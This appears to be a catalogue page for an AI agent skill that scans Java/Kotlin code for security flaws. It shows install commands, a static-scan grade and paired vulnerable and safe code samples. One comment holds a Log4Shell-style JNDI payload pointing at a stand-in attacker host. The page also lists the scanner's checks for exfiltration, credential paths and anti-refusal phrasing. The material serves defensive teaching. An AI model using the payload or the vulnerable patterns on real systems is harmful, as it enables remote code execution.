Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/ersinkoc/security-check/sc-lang-javanpx skills add ersinkoc/security-check --skill sc-lang-javagit clone --depth 1 https://github.com/ersinkoc/security-checkWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00011 | $0.02063 |
| Opus 5 | $0.00005 | $0.01032 |
| Sonnet 5 | $0.00002 | $0.00413 |
| Haiku 4.5 | $0.00001 | $0.00206 |
Grade A, and why
sc-lang-java scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 299 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SC: Java/Kotlin Security Deep Scan
Purpose
Detects Java/Kotlin-specific security anti-patterns including deserialization gadget chains, JNDI injection (Log4Shell patterns), Spring framework vulnerabilities, XML parsing XXE, and Kotlin-specific interop risks. Covers the JVM ecosystem's unique attack surface.
Activation
Activates when Java or Kotlin is detected in security-report/architecture.md.
Checklist Reference
References references/java-security-checklist.md.
Java/Kotlin-Specific Vulnerability Patterns
Category 1: Java Deserialization
// VULNERABLE: ObjectInputStream with untrusted data
ObjectInputStream ois = new ObjectInputStream(socketInputStream);
Object obj = ois.readObject(); // Gadget chain → RCE
// SAFE: Deserialization filter (Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.dto.*;!*"
);
ois.setObjectInputFilter(filter);
// SAFEST: Use JSON/protobuf instead
Category 2: JNDI Injection (Log4Shell Pattern)
// VULNERABLE: User input reaching JNDI lookup
ctx.lookup(userInput); // userInput = "ldap://attacker.com/exploit"
// Log4j pattern: logger.info("User: " + userInput);
// If userInput = "${jndi:ldap://attacker.com/a}" → RCE
// SAFE: Disable JNDI lookups, update Log4j 2.17.1+
System.setProperty("log4j2.formatMsgNoLookups", "true");
Category 3: Spring SpEL Injection
// VULNERABLE: User input in SpEL expression
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput);
Object result = exp.getValue(); // Code execution!
// SAFE: Use SimpleEvaluationContext (restricts available types)
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Object result = exp.getValue(context);
Category 4: Spring Actuator Exposure
# VULNERABLE: Actuator endpoints exposed without auth
management:
endpoints:
web:
exposure:
include: "*" # Exposes /actuator/env, /actuator/heapdump, etc.
# SAFE: Restrict actuator endpoints
management:
endpoints:
web:
exposure:
include: health,info
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 299 lines · 11 tokens per session scan A f1ef43608079
sc-lang-java is a skill published in the GitHub repository ersinkoc/security-check (56 stars, last pushed 1mo ago), licensed MIT. It adds 11 tokens to every session and 2,063 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
orca-emulator-android
Control an Android emulator / device from inside Orca using the orca CLI. Use for listing/booting AVDs, taps, swipes, typing, hardware buttons (incl. Back and Recents), rotation, app install/launch, runtime permissions, the accessibility tree, and logcat — driving a real adb-connected device or emulator.…
android-tombstone-symbolication
Symbolicate the .NET runtime frames in an Android tombstone file. Extracts BuildIds and PC offsets from the native backtrace, downloads debug symbols from the Microsoft symbol server, and runs llvm-symbolizer to produce function names with source file and line numbers. USE FOR triaging a .NET MAUI or Mono Android app…
git-safety
Git safety rules. INVOKE WHEN: git push, force push, git reset, git clean, destructive git, push force, reset hard. NEVER force push or do destructive git operations.
dogfood
Systematically explore and test a mobile app on iOS/Android with agent-device to find bugs, UX issues, and other problems. Use when asked to dogfood, QA, exploratory test, find issues, bug hunt, or test this app on mobile.
release
Cut a sim-use release end-to-end. Use when the user runs /release or asks to "ship a release", "publish a version", "cut a release", or "release to homebrew". Drives scripts/local-release.sh; never reimplement its build/sign/tarball logic.
android-pentest
安卓应用渗透测试 — APK分析、Hook、自动化测试、运行态驱动、签名恢复、抓包分析.